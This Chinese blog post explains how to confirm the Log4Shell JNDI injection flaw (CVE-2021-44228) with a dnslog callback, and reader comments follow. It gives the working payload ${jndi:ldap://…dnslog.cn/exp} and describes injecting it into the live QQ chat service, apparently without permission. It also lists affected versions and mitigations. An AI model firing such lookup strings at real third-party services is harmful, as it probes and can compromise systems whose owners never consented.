验证 log4j2 漏洞(JNDI 注入 CVE-2021-44228)

本文仅供学习使用,切勿用于违法犯罪。

本文尝试利用该漏洞使远程服务器请求 dnslog 中随机生成的网址,并验证执行结果。

也希望各家平台可以尽快修复此漏洞。

 

漏洞影响范围

2.0 <= Apache log4j <= 2.14.1

 

验证方式

获取随机子域名

进入 dnslog 网站,获取一个随机子域名,如下图:


img

 

构造特殊字符串

使用获取的随机子域名构造如下字符串。

${jndi:ldap://317g7w.dnslog.cn/exp}

 

在候选程序中注入该字符串

可注入位置例如网站搜索框、登录框、聊天框等。

本文于 2021.12.10 20:55:05 尝试在 QQ 聊天框中输入该字符串。


img

 

刷新请求日志

如下图,可以看到有一台服务器请求了随机生成的子域名,且确定该 IP 属于腾讯云,因此可以认为 QQ 中目前存在这一远程代码执行漏洞。


img


img

 

修复建议

因为本人并未从事安全方面的工作,因此此建议搬运并总结于其他大佬的文章。

  1. 升级 log4j 至 2.14.1 以上,例如 2.15.0-rc2 及以上(听说 rc1 并不安全,原因需自行搜索)
  2. 对于 2.10 及以上的版本,考虑添加参数 -Dlog4j2.formatMsgNoLookups=true,详情可见 org.apache.logging.log4j.core.pattern.MessagePatternConverter.format

 

参考链接


回复 老杜 哎呀!还是不要说的啦……

11 只已被捕捉

  • 挖不到洞的小菜鸟 Chrome | 116.0.0.0 Windows 10/11

    qq直接输入dnslog的连接也会有回显信息,这会不会是某种检测机制

    • 千千 Edge | 115.0.1901.203 Windows 10/11

      也有这种可能的,之前漏洞爆发的时候,好像社区发现确实是一种远程执行的漏洞,只不过想轻松确认是否远端机器存不存在这种漏洞的方法就是给一个固定 IP 发个请求。

  • 老杜 Mozilla FireFox | 112.0 Windows 10/11

    学习了

  • 防水涂料加盟 Mozilla FireFox | 95.0 Windows 10/11

    感谢分享 赞一个

    • 千千 Edge | 97.0.1072.55 Mac OS X

      感谢感谢,欢迎常来呦 ~ ヾ(^▽^*)))

  • ZhengTai Chrome | 96.0.4664.110 Windows 10/11

    Pingback,好久没有接触ACM了,不过走进千千博客看到的却是熟悉的log4j,搞信安的学弟祝千千在ECNU的其他AI比赛取得好成绩~

    • 千千 Edge | 96.0.1054.62 Mac OS X

      哇,一起加油加油~ 祝夺旗次次顺利~|´・ω・)ノ

  • 菜菜 Chrome | 96.0.4664.110 Mac OS X

    qq一声不吭背着我研究 log4j,记住了

    • 千千 Edge | 96.0.1054.57 Windows 10/11

      呜呜呜,咋回事,我就好奇看一看